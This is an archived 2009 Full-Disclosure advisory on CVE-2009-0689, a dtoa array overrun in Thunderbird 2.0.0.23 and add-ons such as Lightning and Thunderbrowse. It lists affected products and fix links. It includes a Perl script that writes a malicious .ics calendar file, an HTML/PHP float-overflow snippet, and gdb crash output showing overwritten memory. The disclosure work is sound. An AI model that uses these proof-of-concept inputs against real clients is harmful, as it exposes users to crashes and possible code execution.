| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Date: Fri, 11 Dec 2009 00:46:48 +0100
From: Maksymilian Arciemowicz <cxib@...urityreason.com>
To: full-disclosure@...ts.grok.org.uk
Subject: SecurityReason: Thunderbird 2.0.0.23 (lib) Remote
Array Overrun (Arbitrary code execution)
[ Thunderbird 2.0.0.23 (lib) Remote Array Overrun (Arbitrary code
execution) ]
Author: Maksymilian Arciemowicz and sp3x
http://SecurityReason.com
Date:
- Dis.: 07.05.2009
- Pub.: 11.12.2009
CVE: CVE-2009-0689
CWE: CWE-119
Risk: High
Remote: Yes
Affected Software:
- Thunderbird 2.0.0.23
Fixed in:
- Thunderbird 3.0
- Thunderbird 2.0.0.24pre
NOTE: Prior versions may also be affected.
Original URL:
http://securityreason.com/achievement_securityalert/78
--- 0.Description ---
Thunderbird 2 includes many new features to help you manage your inbox.
With Thunderbird 2, it?s easier to prioritize and find your important
email with tags and the new find bar helps you find content within your
email faster.
Lightning brings the Sunbird calendar to the popular email client,
Mozilla Thunderbird. Since it's an extension, Lightning is tightly
integrated with Thunderbird, allowing it to easily perform email-related
calendaring tasks.
--- 1. Thunderbird 2.0.0.23 (lib) Remote Array Overrun (Arbitrary code
execution) ---
The main problem exist in dtoa implementation. Thunderbird has the same
dtoa as Firefox, etc. This problem affects many additional Add-ons for
thunderbird.
Example for affected Add-ons:
- Lightning 0.9
- Thunderbrowse 3.2.6.7
- more
and it is the same like SREASONRES:20090625.
http://securityreason.com/achievement_securityalert/63
but fix for SREASONRES:20090625, used by openbsd was not good.
More information about fix for openbsd and similars SREASONRES:20091030,
http://securityreason.com/achievement_securityalert/69
We can create any number of float, which will overwrite the memory. In
Kmax has defined 15. Functions in dtoa, don't checks Kmax limit, and
it is possible to call 16<= elements of freelist array.
--- 2. Proof of Concept (PoC) ---
(PoC for Lightning )
-----------------------
#!/usr/bin/perl
# SecurityReason.com
# sp3x
# tested on WinXp SP3
my $header = "BEGIN:VCALENDAR\n".
"PRODID:-//Mozilla.org/NONSGML Mozilla Calendar V1.1//EN\n".
"VERSION:2.0\n".
"BEGIN:VTIMEZONE\n".
"TZID:Europe/Prague\n".
"X-LIC-LOCATION:Europe/Prague\n".
"BEGIN:DAYLIGHT\n".
"TZOFFSETFROM:+0100\n".
"TZOFFSETTO:+0200\n".
"TZNAME:CEST\n".
"DTSTART:19700329T020000\n".
"RRULE:FREQ=YEARLY;INTERVAL=1;BYDAY=-1SU;BYMONTH=3\n".
"END:DAYLIGHT\n".
"BEGIN:STANDARD\n".
"TZOFFSETFROM:+0200\n".
"TZOFFSETTO:+0100\n".
"TZNAME:CET\n".
"DTSTART:19701025T030000\n".
"RRULE:FREQ=YEARLY;INTERVAL=1;BYDAY=-1SU;BYMONTH=10\n".
"END:STANDARD\n".
"END:VTIMEZONE\n".
"BEGIN:VEVENT\n".
"CREATED:20091117T095214Z\n".
"LAST-MODIFIED:20091117T095217Z\n".
"DTSTAMP:20091117T095214Z\n".
"UID:5d0cfefe-22f6-476e-93bf-bd13df140b18\n";
my $s = "SUMMARY:0.";
my $expl = "1" x 296450;
my $footer = "\nDTSTART;TZID=Europe/Prague:20100111T110000\n".
"DTEND;TZID=Europe/Prague:20100111T120000\n".
"END:VEVENT\n".
"END:VCALENDAR\n";
open(myfile,'>>test.ics');
print myfile $header.$s.$expl.$footer;
-----------------------
(PoC for Thunderbrowse )
-----------------------
<script>
var a=0.<?php echo str_repeat("1",333333); ?>;
</script>
-----------------------
When we use Thunderbrowse to see this site, Thunderbird will crash with:
Program terminated with signal 11, Segmentation fault.
#0 0xbb15d1e7 in ?? ()
eax 0x0 0
ecx 0xa 10
edx 0x0 0
ebx 0xbb16eb38 -1156125896
esp 0xbfbfce58 0xbfbfce58
ebp 0xbfbfce74 0xbfbfce74
esi 0xb 11
edi 0xb768e700 -1217861888
eip 0xbb15d1e7 0xbb15d1e7
eflags 0x282 [ SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0xab 171
gs 0xb3 179
(gdb) x/x ($eip)
0xbb15d1e7: Cannot access memory at address 0xbb15d1e7
(gdb) x/x ($esi)
0xb: Cannot access memory at address 0xb
(gdb) x/x ($edi)
0xb768e700: 0x1c71c71c
now esi=0xb and edi=0x1c71c71c
(gdb) x/20x ($edi)
0xb768e700: 0x1c71c71c 0xc71c71c7 0x71c71c71 0x1c71c71c
0xb768e710: 0xc71c71c7 0x71c71c71 0x1c71c71c 0xc71c71c7
0xb768e720: 0x71c71c71 0x1c71c71c 0xc71c71c7 0x71c71c71
0xb768e730: 0x1c71c71c 0xc71c71c7 0x71c71c71 0x1c71c71c
0xb768e740: 0xc71c71c7 0x71c71c71 0x1c71c71c 0xc71c71c7
(gdb) x/50x ($edi)+37000
0xb7697788: 0xc71c71c7 0x71c71c71 0x1c71c71c 0xc71c71c7
0xb7697798: 0x71c71c71 0x1c71c71c 0xc71c71c7 0x71c71c71
0xb76977a8: 0x1c71c71c 0xc71c71c7 0x71c71c71 0x1c71c71c
0xb76977b8: 0xc71c71c7 0x71c71c71 0x1c71c71c 0xc71c71c7
0xb76977c8: 0x71c71c71 0x1c71c71c 0xc71c71c7 0x71c71c71
0xb76977d8: 0x1c71c71c 0xc71c71c7 0x71c71c71 0x1c71c71c
0xb76977e8: 0xc71c71c7 0x91c71c71 0x0b76d741 0x1af63420
0xb76977f8: 0x7c6568c4 0xd74952a1 0x552d1c87 0x4018081a
0xb7697808: 0xcb313ca6 0xd16c5484 0x36d13467 0x130c4b7d
0xb7697818: 0x92c1d06c 0xf70d9591 0x56bea87c 0x7c7bcc44
0xb7697828: 0xe6dd415d 0x210c53a8 0x482d162b 0x6d39c1c9
0xb7697838: 0x478f5fb2 0x9d6a2f46 0xe8b20d52 0xb012aa49
0xb7697848: 0xd75822f6 0x83ebbe5a
--- 3. SecurityReason Note ---
Officialy SREASONRES:20090625 has been detected in:
- OpenBSD
- NetBSD
- FreeBSD
- MacOSX
- Google Chrome
- Mozilla Firefox
- Mozilla Seamonkey
- Mozilla Thunderbird
- Mozilla Sunbird
- Mozilla Camino
- KDE (example: konqueror)
- Opera
- K-Meleon
- F-Lock
This list is not yet closed.
--- 4. Fix ---
NetBSD fix (optimal):
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h
OpenBSD fix:
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/sum.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtord.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtof.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodg.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtod.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/smisc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/hdtoa.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gethex.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gdtoa.h
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dtoa.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dmisc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdio/vfprintf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/arch/vax/gdtoa/strtof.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtordd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopdd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodnrp.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodI.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIg.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIdd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoId.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/qnan.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xLfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ffmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_dfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ddfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g__fmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_Qfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/arithchk.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/gcvt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/ecvt.c
--- 5. Credits ---
Discovered by sp3x and Maksymilian Arciemowicz from SecurityReason.com.
--- 6. Greets ---
Infospec p_e_a pi3
--- 7. Contact ---
Email:
- cxib {a.t] securityreason [d0t} com
- sp3x {a.t] securityreason [d0t} com
GPG:
- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
- http://securityreason.com/key/sp3x.gpg
http://securityreason.com/
http://securityreason.pl/
Download attachment "signature.asc" of type "application/pgp-signature" (164 bytes)
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists